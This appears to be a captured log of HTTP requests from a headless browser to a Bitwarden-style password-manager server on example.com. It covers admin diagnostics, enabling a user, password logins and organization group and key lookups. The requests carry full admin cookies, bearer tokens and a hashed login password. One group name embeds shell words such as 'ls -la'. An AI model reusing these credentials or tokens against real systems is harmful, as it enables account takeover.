{"method": "GET", "target": "/admin/does-not-exist", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=404", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=400", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=401", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/admin/diagnostics/http?code=403", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/diagnostics", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxMzgsImV4cCI6MTc5NDI4MzMzOCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.RvbZ8K8SIfhEgJ9IqRBuOXwlLX21CpEuJ-N16yuB-J6GQRGm2jfYhq8NEieKedIAQvPGYh4z5rv5QA5DFq6psznULWfLdUeFoSC9wJJwy8iQBjcmiAbvuu4v6AIIuZXh-Cj_pkM1VMYgaj8wiBxVXJCDcxXTSJ39DzE2WiwAGCzifxtTk4C4S-d8b-PNo1kkHfnVsQcZzfxRUqLJIT5InFN_tC3fZOH6oL6gd_nNUJV-sPXYH5Gg3rs83uiBC4Fr1AILXUti7G9aUhl0s2XHR56A7VQdRzTScshRlbbYyTbTPbH05_eUU5zl0t6U_Xcq-JdIx9md1Rm9KhC_C5c_9w", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/notifications/anonymous-hub?token=admin-diagnostics", "headers": ["Host: example.com", "Connection: Upgrade", "Pragma: no-cache", "Cache-Control: no-cache", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Upgrade: websocket", "Origin: https://example.com", "Sec-Websocket-Version: 13", "Accept-Encoding: gzip, deflate, br, zstd", "Sec-Websocket-Key: fHbY0knl/xf6yu7sZB/opQ==", "Sec-Websocket-Extensions: permessage-deflate; client_max_window_bits"], "body": ""}
{"method": "POST", "target": "/admin/users/59d0f3f3-5d59-4432-a5d9-314ca2cb6729/enable", "headers": ["Host: example.com", "Content-Length: 0", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Content-Type: application/json", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: same-origin", "Sec-Fetch-Dest: empty", "Referer: https://example.com/admin/users/overview", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: VW_ADMIN=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODIxNzUsImV4cCI6MTc5NDI4MzM3NSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxhZG1pbiIsInN1YiI6ImFkbWluX3BhbmVsIn0.X8DAfbVvvkQWMukqS0hDfUDCGX6uX54JnE5kpMAPzxqLUjPDYg1CA0oxu-Ct1YriUKwNPzfdtskD8ZY1QRKV9YmTwgEDhHxzmOIBK19kYHhJb1XaN2wg0nsNL3XM4TIhhVh3wevpNFyXU58mxuiRAIw2XYv-2kbNSt0LWj4vdhWEC5cOsegqdStuQx0YJSsJyRV7_uR46598sM6IegQCS2T4rtHDISFUnBLllq5-akYkPkijh4s3F-HFE6Nx9R09Tvd9XHSq0yfSR8aQ2gIIonfaRX4aLUSTrkWWcS4UH92MLsx6sb4n3FaNKt8kLi1hS15iMIOkOKzjGImLWpYEtw", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=a3e6b5b0-3483-403e-a2eb-30f01f61d540&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0MzAsImV4cCI6MTc5NDI4OTYzMCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImEzZTZiNWIwLTM0ODMtNDAzZS1hMmViLTMwZjAxZjYxZDU0MCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.SeaayBUmg3uP6mpNK_ZBiPhlg-6rwOkJibxOlmwsiH66Ye3rSAApk0UnSrlfuTcj9GrgU4etzeqbjjCRhO9_jzYxBwPFE_XRCZ8epJ6ChMhcYfmi3TtVeJXGEfroN1kKNdzJjma3hz-t7W-Q0QvkG167v6wgUQSGdQInW2SckjPMoI109kCvCFRcB87xtQlYUYoQrDmBk_AAjI9wRgW8Ar0-Tq0JrcOVO6T2lJiLQ_wQzO_qoxsDoH6Zjug03Gq8-fvWg34QGsvp3_bdd_iIKibheHvV51bUTi0ZlPu4ULuHujHnczoHkH4oo6lif8k4H22As7gaJ-rCOnEHEjqn4Q", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=043de400-5863-493d-a35b-eabf900ef67e&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "GET", "target": "/449.caff420ade63a9b7c354.js", "headers": ["Host: example.com", "Sec-Ch-Ua-Platform: \"Linux\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: no-cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/keys", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI0ODksImV4cCI6MTc5NDI4OTY4OSwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6IjA0M2RlNDAwLTU4NjMtNDkzZC1hMzViLWVhYmY5MDBlZjY3ZSIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.esJJRzkAi0R73cNPooBzGDkaf6M90wlmgFKHe5iOwzkw1R7CjHpMuDAFZVByn8RqMmvN2FfzZbC0i047URuRUnrkG1YsdtPZBbW-pTkYHI--R6tm_T6iZSnHxcafdBk1NhEM-ALW2wxwpcRH4DYcHdJYVd07Hi4S0Be3sXR_nAKqz-d999t0LdgT583xR90kP0W5ZBP3cssiw2lOqX_siJushrt4PUNoBlREodQ5u-1vSG2ZujooVTfRB67GXuOwVydnpNGtWUOVmic3J7eSZiJw-Jy9JDMZBfJct8wjYMPlGIXBcG5iEPFi173lg3UA-eabcjgxFNREF7GAI3rZpg", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=efa8b787-99ef-4031-90a0-fd93a8eb45aa&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/identity/connect/token", "headers": ["Host: example.com", "Content-Length: 234", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/x-www-form-urlencoded; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "scope=api%20offline_access&client_id=web&deviceType=14&deviceIdentifier=b3f2eab7-0985-4f49-8ac6-7b1c20c83494&deviceName=unknown&grant_type=password&username=alice%40example.com&password=PFTB756792a9joBcqKKHK61aPajhH%2BALhFcnA4VMCms%3D"}
{"method": "POST", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups", "headers": ["Host: example.com", "Content-Length: 67", "Pragma: no-cache", "Cache-Control: no-cache", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Content-Type: application/json; charset=utf-8", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": "{\"name\":\"powershell and ls -la admins\",\"collections\":[],\"users\":[]}"}
{"method": "GET", "target": "/api/organizations/eded96f5-92c5-43ce-ab72-533d0e962b9b/groups/13ab278e-005d-46b1-bd04-7ca13e811fa3/details", "headers": ["Host: example.com", "Pragma: no-cache", "Cache-Control: no-store", "Bitwarden-Client-Version: 2026.10.1", "Sec-Ch-Ua-Platform: \"Linux\"", "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJuYmYiOjE3OTQyODI1NTgsImV4cCI6MTc5NDI4OTc1OCwiaXNzIjoiaHR0cHM6Ly9leGFtcGxlLmNvbXxsb2dpbiIsInN1YiI6ImE0M2Q2YmI2LThlZmMtNGRiZS1hZDI1LTA1NjVlZmY5MWQ2YiIsInByZW1pdW0iOnRydWUsIm5hbWUiOiJBbGljZSBscyAtbGEiLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwiZW1haWxfdmVyaWZpZWQiOnRydWUsInNzdGFtcCI6IjJkZmJkMWU5LTczZWYtNGJmYy1hNWE3LTZkODA1MzYyMTUyNyIsImRldmljZSI6ImIzZjJlYWI3LTA5ODUtNGY0OS04YWM2LTdiMWMyMGM4MzQ5NCIsImRldmljZXR5cGUiOiJVbmtub3duIEJyb3dzZXIiLCJjbGllbnRfaWQiOiJ3ZWIiLCJzY29wZSI6WyJhcGkiLCJvZmZsaW5lX2FjY2VzcyJdLCJhbXIiOlsiQXBwbGljYXRpb24iXX0.deeBF5u4DMhwPDwfi2N5CdCZhmdcwWhz4fUTo-S2LTfg68H-mwwHf1iprvXKbPJBvdaVhTfvsUI_Q5_BT_IQihIIMOzgJv8vhscC7urrM7B15MAN6_w6NTjR1H-Tgy0UszQKPuu99ucESPMca3pUFQxw7s8-zy3OesH-JZL-GuDYA7giyYpVtYMNB-E9CUkg4xCO4UAUzPrpHdDV09JOQQedaK2UydlR9A_TybeF5vA6ZqkscBlu_grJVCCr0qPTzB1JZ8TaMMSF7KWXMvzuzDAIXAOvJY2fl83wK9tCRWjH0JHgM-33F2AglKPgtfQJuGI17VgUURaTrSLeouECig", "Device-Type: 14", "Sec-Ch-Ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Sec-Ch-Ua-Mobile: ?0", "Bitwarden-Client-Name: web", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/", "Accept-Encoding: gzip, deflate, br, zstd", "Priority: u=1, i"], "body": ""}
